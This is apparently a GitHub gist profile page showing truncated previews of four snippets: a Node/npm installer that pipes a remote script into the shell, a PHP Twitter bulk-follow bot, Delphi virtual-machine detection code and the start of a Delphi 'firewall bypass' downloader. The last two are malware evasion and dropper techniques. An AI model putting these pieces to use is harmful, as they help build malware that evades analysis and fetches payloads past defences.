Skip to content

Instantly share code, notes, and snippets.

View wirespecter's full-sized avatar

wirespecter

  • 127.0.0.1:443
View GitHub Profile
@wirespecter
wirespecter / node-and-npm-in-30-seconds.sh
Created February 13, 2017 14:36 — forked from isaacs/node-and-npm-in-30-seconds.sh
Use one of these techniques to install node and npm without having to sudo. Discussed in more detail at http://joyeur.com/2010/12/10/installing-node-and-npm/ Note: npm >=0.3 is *safer* when using sudo.
echo 'export PATH=$HOME/local/bin:$PATH' >> ~/.bashrc
. ~/.bashrc
mkdir ~/local
mkdir ~/node-latest-install
cd ~/node-latest-install
curl http://nodejs.org/dist/node-latest.tar.gz | tar xz --strip-components=1
./configure --prefix=~/local
make install # ok, fine, this step probably takes more than 30 seconds...
curl https://www.npmjs.org/install.sh | sh
@wirespecter
wirespecter / twitterfollow.php
Created January 30, 2017 18:50 — forked from discreteworks/twitterfollow.php
Twitter Bulk Follow
<?
function twitterSetStatus($user,$pwd,$screenName,$start,$end) {
if (!function_exists("curl_init")) die("twitterSetStatus needs CURL module, please install CURL on your php.");
$ch = curl_init();
// -------------------------------------------------------
// get login form and parse it
$caCertsFile=getcwd().'/mobile.twitter.crt';
curl_setopt( $ch, CURLOPT_CAINFO, $caCertsFile );
curl_setopt($ch, CURLOPT_URL, "https://mobile.twitter.com/session/new");
@wirespecter
wirespecter / anti_methods.pas
Created October 14, 2015 11:23
[Delphi] Virtual Machine Detection
function IsVirtualPC: Boolean;
begin
Try
asm
mov eax,1
db $0F
db $3F
db $07
db $0B
db $C7
@wirespecter
wirespecter / downloader.pas
Created October 14, 2015 11:20
[Delphi] Firewall Bypass Downloader
program Downloader;
uses
Windows;
type
TRemoteStruct = packed record
//Strings
szUrlMon,
szUrlDownloadToFileA,